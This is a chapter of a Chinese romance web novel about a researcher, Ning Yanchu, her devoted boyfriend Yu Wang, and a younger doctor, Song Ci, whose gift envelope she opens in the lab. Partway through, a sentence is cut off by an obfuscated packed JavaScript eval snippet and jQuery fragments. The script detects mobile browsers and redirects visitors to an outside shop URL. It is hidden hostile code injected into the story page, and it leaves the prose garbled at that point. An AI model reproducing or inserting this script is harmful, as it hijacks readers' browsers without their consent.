谷砚景这人，蔫坏归蔫坏，关键时刻却顶得住。就说上海那晚，他除了开头嘴欠打趣两句，余下的时间里，愣是安安静静陪着一言不发的宋辞，前前后后续了三次啤酒外卖，两人对着满桌烧烤，喝了整整一夜的闷酒。
酒喝得太猛，第二天两人顶着肿成核桃的眼、泛着水光的脸，硬着头皮上台做各自的学术分享。
后来同院的人瞧见会议现场的返图，纷纷打趣，说这定是上海主办方最“邪恶”的计谋，故意丑化首都两颗冉冉升起的医学新星的颜值，好横向对比，衬托出上海院草们的俊朗优越，为下次学术评比多拉几分好感。
瞧瞧，还是人家上海的医生，人帅技更佳！
当然，这些都是后话了。
*
宁彦初那边其实到晚上也没有再去凑小贾他们的二场的热闹。
于望定好了清吧的位置，见宁彦初起身，便知她是想去前台结账。他伸手按住女友的胳膊，自己先站起身，递过去一个安心的眼神：“我去，你在这儿陪大家多坐会儿。”
语罢，便体贴地转身出了包厢。
前台见了他，客气地告知：“先生，您是替宁女士结账吧？已经结过了。”
于望微愣，随即掏出手机，给宁彦初发了条微信询问。
宁彦初在饭桌上看到了微信，表情未变，手指轻轻点了一下宋辞留下来的一个鼓鼓囊囊的文件包，回复了于望的微信：
「可能是我记错了，结过了那就回来吧，谢谢。」
于望是何等通透的人精，只消一眼便猜到了七八分。他没再多问，揣着明白装糊涂，面上依旧是那副高高兴兴的模样，转身回了包厢。
晚宴彻底散场后，于望邀宁彦初去他公寓看电影，却被她婉拒了。
“还有个实验参数需要回去核实一下。”宁彦初浅笑着解释，“刚才饭局上聊到的那个脑机接口优化方案，我总觉得哪里还有疏漏，想回去再演算一遍。你们玩得尽兴，不用管我，我自己回去就好。”
于望依言送她到实验室门口，目光落在她怀里始终抱着的文件包上，温声问：“这些材料看着挺沉的，用不用我先帮你带回宿舍？”
宁彦初低头看了一眼自己手里的东西，摇摇头，抬手将鬓边垂落的碎发别到耳后，露出一截纤细白皙的脖颈。灯光下，那截脖颈的弧度漂亮得近乎易碎。
“不用了，”她声音轻缓，“这是导师托宋辞捎来的资料，应该和我现在的研究方向有关，我直接放实验室里看，方便些。”
于望伸出手，熟稔地揉了揉她的后脑勺，指尖掠过柔软的发丝，语气里带着几分不放心：“今晚实验室就你一个人，要不我留下来陪你？”
“没事的。”宁彦初抬眸看他，眼底盛着浅浅的光，“那个参数调整起来很快，用不了多久。”
于望点点头，没再坚持，只是细细叮嘱：“那你忙完了早点回宿舍，到了记得给我发个消息。”
“好。”宁彦初应下，又补了一句，“你也早点休息。”
说完，便转身推门，走进了灯火通明的实验大楼。
于望站在原地，目光追随着她清丽的背影，直到那道身影转过走廊尽头的拐角，彻底消融在沉沉的阴影里，才缓缓收回视线，抬脚转身离开。
他一边走，一边从口袋里掏出手机，解锁屏幕，点开了微信列表里那个排在前面的头像，是宋辞。
今天这场饭局，凭空多出来的宋辞，让于望心里生出了几分意外的警惕。
和宁彦初交往这么久，于望总觉得她是个骨子里带着疏离感的人。即便她身边有一整个实验团队朝夕相伴，也依旧能让人感觉到，她的生活和旁人之间，隔着一道无形的墙。那不是刻意的冷漠，而是一种天生的、近乎浑然天成的距离感，仿佛她本就该活在一个独属于自己的世界里，旁人难以涉足。
宁彦初很少提及自己的家人，更鲜少说起她在北京的过往。于望隐约听过一些关于她家庭变故的传闻，也正因如此，她从不和人聊起从前的同学朋友。来到上海后，她的世界仿佛被精准切割过，只剩下实验、工作和学术，私人的人际关系简单得近乎单调。
今天饭局多了一个宁彦初的“师弟”这么一号人让他有些意外。交往到现在，宁彦初一直给于望一种独来独往的印象，即便她有一整个实验团队陪着，但是也能感觉到宁彦初在生活上和所有人的疏离。不是刻意的冷漠，而是那种天生的，和其他人不在一个世界的氛围感。
这次宋辞的出现，反而让于望有了一些雄性独有的警惕。于望自己都说不清，这份警惕究竟从何而来。明明宋辞看着比宁彦初小上几岁，整晚下来，他和宁彦初之间也没什么特别的互动，两人说过的话，甚至还不如他和宋辞之间的多。
可偏偏，于望就是忍不住留意这个年轻人。
是因为，这是宁彦初在有他陪伴的场合里，第一次出现的、和他毫无交集的“旧人”吗？
还是因为，他能清晰地感觉到，宁彦初对宋辞的态度，是那种无需言说的熟悉与松弛，那是一种刻在骨子里的亲近，是他费了九牛二虎之力，也没能在宁彦初身上完全得到的东西。
于望至今还记得，晚饭中途他凑过去给宁彦初添水时，无意间听到的一句对话。
当时宁彦初侧着头，声音压得很低，带着几分无奈的嗔怪，对着宋辞道：“我说……你怎么还不走？”
这话听着没头没尾，甚至算得上有些失礼，可宁彦初的语气里，却藏着一丝连她自己都未曾察觉的纵容。
他侧头望去，正对上宋辞的侧脸。少年脸上早已没了进门时的那几分腼腆青涩，他像是没听见，又像是尽数听了进去，只是斜斜瞥了宁彦初一眼，嘴角轻轻一勾，漫不经心的模样里，竟透出几分少年人独有的、带着点痞气的狡黠。
这份说不清道不明的氛围，让于望心里莫名有些发紧。
这到底是值得在意的信号，还是仅仅是自己的错觉？
于望点开宋辞的朋友圈，指尖在屏幕上轻轻滑动，一时竟有些出神。
这是一个宁彦初完全没有展示给过他的一个交际圈，那里有她的导师，她的同学，有北京的街巷烟火，有独属于他们的、遥远的过去……
于望本来就不如他表现的那样坦然淡定，他忍不住想要跻身了解宁彦初的一切，仿佛这样才让他更有安全感。
宋辞发朋友圈不算频繁，但和于望朋友圈里一水的工作链接、行业资讯比起来，要鲜活得多，也有生活得多。
有些是他的宠物狗，叫毛豆。照片拍得随意，没有滤镜，也没有刻意摆拍，可那条看不出品种的小狗，白色毛发蓬松发亮，一看就是被照顾得极好的模样。冬天裹着织得歪歪扭扭的毛线背心，戴着小绒帽；夏天头顶被人扣上一副墨镜，傻气又可爱，那墨镜一看就是人类的款式。
还有些是在医院和学校的合照，三五成群的年轻人，笑得肆意张扬。有的照片里，宋辞刚下手术室，穿着绿色的刷手服，口罩还挂在耳边，眉眼间带着疲惫，却依旧难掩清俊；有的则是在食堂或者球场上的随手自拍，角度刁钻得离谱，却偏偏更衬得他五官立体优越。
极个别的，是几张风景照。或是北京深秋的银杏，或是深夜医院窗外的月色，安静又温柔。
总体看来，这就是一个无忧无虑、生活顺遂、原生家庭幸福美满、没什么大烦恼的年轻大男孩，该有的模样。
于望看着看着，心里那点莫名的警惕，竟渐渐消散了。
【宁彦初绝对不喜欢这样的。】于望异常自信。
他瞬间丧失了继续翻下去的兴致，退出朋友圈界面，转手又给宁彦初发了条消息：「明天早饭想吃什么？我给你送过来，你多睡会儿。」
宁彦初那边没有立刻回复，也是意料之中。
于望毫不在意地将手机揣回裤兜，脚步不疾不徐地走在实验大楼通往大门的路上。路侧的路灯昏黄，将他的影子拉得很长很长，随着脚步，忽明忽暗，歪歪扭扭地投在地面上。
*
宁彦初是7个月前到上海的。
主要是她主攻的医疗仓项目到了关键的测试阶段，而项目所需的高精度测试仪器，恰好都集中在上海这家国家级实验室里。她带着实验团队过来，并非长期定居，而是像一群追着数据跑的候鸟，随着项目的需求在全国辗转。有时候是为了采集不同环境下的实验数据，有时候，仅仅是为了迁就那些稀缺的专用设备。
于望，是这家研究所某科室的副科长。
三十一岁的于望，单身，样貌还算是出众，工作能力拔尖，待人接物又向来彬彬有礼，在上海的实验室里本就颇有名气。知道他单身的领导同事，给他介绍对象的，能凑满一个加强连。
宁彦初刚来的时候，名气就已经传开了。
哪怕是和她所用的仪器几乎没有交集的于望，也早早听人说起——首都来了个厉害的团队，主攻的是极其前沿的智能医疗设备设计与测试，团队负责人是个年纪轻轻的女孩子，不仅脑子灵光，长得还格外漂亮。
据说，家世也相当不错。
于望一开始其实没什么别的想法。那阵子，他妈不知道是受了什么刺激，催婚催得紧，电话一天三通，打得他头都大了。于望原本对自己的事业、生活和婚姻，都有着清晰的规划，可架不住亲妈日日念叨，竟也生出了几分烦躁。
直到某天中午，他在食堂里，远远地看见了宁彦初。
只一眼，于望忽然就像是开了窍。
实验中心的人都知道，于望眼光高，心思也活络。之前有不少年轻单身的女同事主动示好，他都能凭着一张巧嘴，片叶不沾身地糊弄过去，分寸拿捏得极好。
可这一次，遇上宁彦初，于望像是被下了什么迷魂剂。自打那次食堂的惊鸿一瞥，他便彻底栽了进去。
于望这人，不追求则已，一追求起来，动静大得惊人。他追得高调，攻势猛烈，没多久，整个实验中心的人都知道，这位“黄金单身汉”，对新来的宁彦初动了真心。
他这副架势，直接劝退了所有对宁彦初有好感的人。没人敢轻易触这个霉头。
大家都说，宁彦初这朵高岭之花，算是彻底迷住了于望。
他愣是放下了平日里那副潇洒自持的包袱，天天围着宁彦初打转，早请安晚汇报，殷勤得不像话。每天一早，准时等在宁彦初宿舍楼下送早餐；上午端着热咖啡送到实验室；中午雷打不动地拎着午餐来陪她吃；下午的下午茶和小蛋糕，更是变着花样地送，从不重样，风雨无阻。
就连实验中心那位总爱张罗着给于望介绍对象的副主任，都忍不住感慨：“自打宁彦初来了，于望连陪我打乒乓球的时间都没有了不是在送奶茶的路上，就是在食堂陪人吃饭呢。”
不仅如此，于望像是突然被激活了所有浪漫细胞。他掰着手指头数日子，隔三差五就找个由头给宁彦初过节，情人节、女神节自不必说，连什么白色情人节、立秋节都不放过。鲜花、巧克力、毛绒玩具，堆得跟小山似的往宁彦初办公室送，甭管她喜不喜欢，先一股脑地塞给她。
一开始，宁彦初对这些殷勤，向来是视而不见。
她从小到大，见过的狂热追求者数不胜数，心思从来都不在这些儿女情长上。更何况，咖啡奶茶、鲜花玩偶这些东西，在她眼里，实在没什么特别的吸引力。
于望心里门儿清，他送的这些东西，图的本就不是实用，而是那份旁人看得见的、沉甸甸的情绪价值。
【于望真的走心了。】
宁彦初不收，他也不恼，转头就以“犒劳实验团队”的名义，把东西全部分给了宁彦初的同事。这一招，效果显著。没过多久，宁彦初还没松口，整个实验团队的人，就已经被于望投喂得服服帖帖，看他的眼神，满是“慈眉善目”的认可。
两人关系的转机，发生在去年冬至。
组里的人都知道宁彦初是北京人，却很少见她回去。关于她家里的事，更是没几个人清楚。
但每年冬至前后，宁彦初是一定会回北京的。她会独自一人，回到那栋空荡荡的大房子里，亲手将每个角落打扫得一尘不染，不许任何人帮忙。然后，在那栋寂静的房子里，安安静静地睡上一整天。等醒来时，再收拾好心情，奔赴下一场忙碌的工作。
又是一年冬至，宁彦初照例买
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093528|195548||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了从上海回北京的机票。
可偏偏，赶上了上海几年难遇的大暴雪。鹅毛大雪下了整整一夜，机场跑道结了厚厚的冰，所有航班大面积延误，候机大厅里一片混乱。
宁彦初站在候机楼的巨大落地窗前，看着停机坪上的飞机一架挨着一架，静静地停在那里，大雪还在漫天飞舞，却没有任何一架飞机，能够起飞或者降落。
她的手指苍白，轻轻按在冰凉的玻璃上，嘴唇抿成一条紧绷的直线，一动不动地站着，像是一尊精致却易碎的雕像。
于望从宁彦初的同事那里打听到她的行程，驱车赶到机场时，宁彦初已经在窗前站了足足三个小时，双腿都失去了知觉。
那天，于望什么都没问，什么都没说。他只是默默去跟单位请了假，然后拉着宁彦初上了车，冒着高速随时可能封路的风险，辗转绕了无数条路，花了近乎平时两倍的时间，硬是把宁彦初送回了北京。
车子停在老宅院门口，宁彦初推门下车，穿过光秃秃的蔷薇花架，转过头看向他，嘴唇动了动，只吐出一个字：“你……”
于望开了一路的长途车，眼下泛着青黑，整个人看着憔悴了一圈，可那双眼睛里，却亮得惊人。他晃了晃手里的手机，对着宁彦初露出一个疲惫却温柔的笑：“我在附近定了酒店，现在过去补觉。你不用管我，安心忙自己的事。反正这两天的机票也不好买，我多请了几天假，你什么时候处理完想回上海了，给我打个电话，我们一起走。”
宁彦初看着他风尘仆仆的模样，心里像是被什么东西轻轻撞了一下。她轻轻松了口气，目光第一次认认真真地落在面前这个男人的脸上，这是她第一次，如此仔细地看于望。
这个男人面容憔悴却难言成熟稳重的儒雅气质，某个角度望过去，好像有点点像自己的父亲。
许久，她弯了弯眼角，眉眼间的疏离散去大半，露出一种罕见的、柔和又脆弱的神色，美得让人不忍触碰。
“那、我……”她的声音很轻，带着一丝不易察觉的哽咽。
于望怕她过意不去，连忙打断她：“我帮你定了饺子，今天冬至，一会儿就送到。你记得趁热吃。我赶紧回酒店补觉了。对了，我手机24小时开机，你有事随时给我打电话，别客气。”
宁彦初点点头，喉咙像是被什么堵住了，半晌才挤出两个字：“谢谢。”
于望摆摆手，转身正要上车，又像是想起了什么，脚步一顿，折了回来。
“彦初。”他叫住她，声音郑重。
宁彦初回过神，疑惑地看着他：“怎么了？”
于望的目光落在她被北方冷空气冻得微微发红的鼻尖上，眼神温柔得能滴出水来：“我能加一下你的微信吗？不是工作群里那个工作微信，我是说，你私人的微信。”
宁彦初愣了愣，随即沉默地掏出手机，点开了自己的私人微信二维码。
“好。”
从北京回来后，又过了一阵子，实验中心的人忽然发现，那个从来对於望避之不及的高岭之花宁彦初，竟然开始和于望一起，在食堂吃饭了。
*
回到聚会那天。
宁彦初回到了实验室，洗过手，坐在桌前，打开了宋辞给她的文件包。
最外面是几本内部期刊，和打印装订好的文献，侧页粘了标签纸，上面只是手写了一些英文字母缩写，标记风格和书写顺序一看就知道出自她的导师宋教授之手。
只能说宋辞这家伙至少面上没有挂羊头卖狗肉，来送的东西正儿八经确实是宋教授让带来的。
宁彦初简单翻了翻，发现确实是一些实验数据和内部资料，和她现在的研究方向很是相关，想起半个月前她和宋教授一次通话，导师关心了一下她生活的状态，她也大概汇报了一下自己的实验进展，想来就是那时候开始宋教授给自己搜集他那边相关的资料。
这几年其实一直这样，宋教授和他的夫人蓝阿姨一直在用他们的方式关注关心着她，宁彦初每次回首都都会去看望他们。
资料被翻开，宁彦初抬起手，里面突然又掉出了一个信封，是酒店那种夹在服务手册里的信封，印着酒店自己的logo，下面注着沪市的英文缩写，本身名字也十分眼熟，信封正面除了原来的logo什么字都没有，背面的角上，被用圆珠笔随手画了一只表情抽象的狗子。
“毛豆啊……”宁彦初挑起一边眉毛，她已经认出了这只狗的身份。
信封打开，里面是一叠折成豆腐块的纸，宁彦初将纸展开，发现是打印好的电子兑换码，每页两个，上面有的带着印刷字体的标注，还有圆珠笔手写的备注。
第一张，左边是一个运动中心的季卡兑换码，网球课私教，随去随激活，旁边圆珠笔写了一行字，“就在你实验中心旁边”。
打什么网球，都要忙死了，宁彦初抿着嘴角，心里小声吐槽，而且她这次来上海行李非常少，她连球拍都留在了北京家里……
宁彦初视线移到纸张右边，一个充值卡电子截图，金额被P掉了，某网球运动品牌专用，圆珠笔笔记：“没带球拍也不是理由，你还欠我一个混双赛奖品【微笑脸】”
第二张纸的内容，和第一张大同小异。左边是健身房的年卡兑换码，备注写着：别忘了锻炼，这也在实验中心旁边。右边则是一张泰式古法按摩的次卡截图，有效期一年，还附赠了几次面部护理。那些密密麻麻的医美相关专业名词，饶是宁彦初这个做前沿高端医疗设备的，看了都有些眼花缭乱。旁边的备注依旧理直气壮：听张闵哥说，这家按摩巨专业，本来想自己去的，实在没时间。你有时间先替我试下。
两张纸的最下面，还夹着一张拍立得照片。
照片上的主人公，正是那只叫毛豆的小狗。它对着镜头，咧着嘴笑得灿烂，一双乌溜溜的大眼睛亮得惊人，浑身上下都散发着“我被主人养得很好，超幸福”的得意光芒。
照片的背面，用马克笔写着两行字，字迹飞扬：【7月16日?北京】【毛豆同学五岁生日快乐！】
宁彦初看着那张照片，指尖轻轻拂过毛豆毛茸茸的脸，嘴角不知不觉间，漾开了一抹极淡极淡的笑意。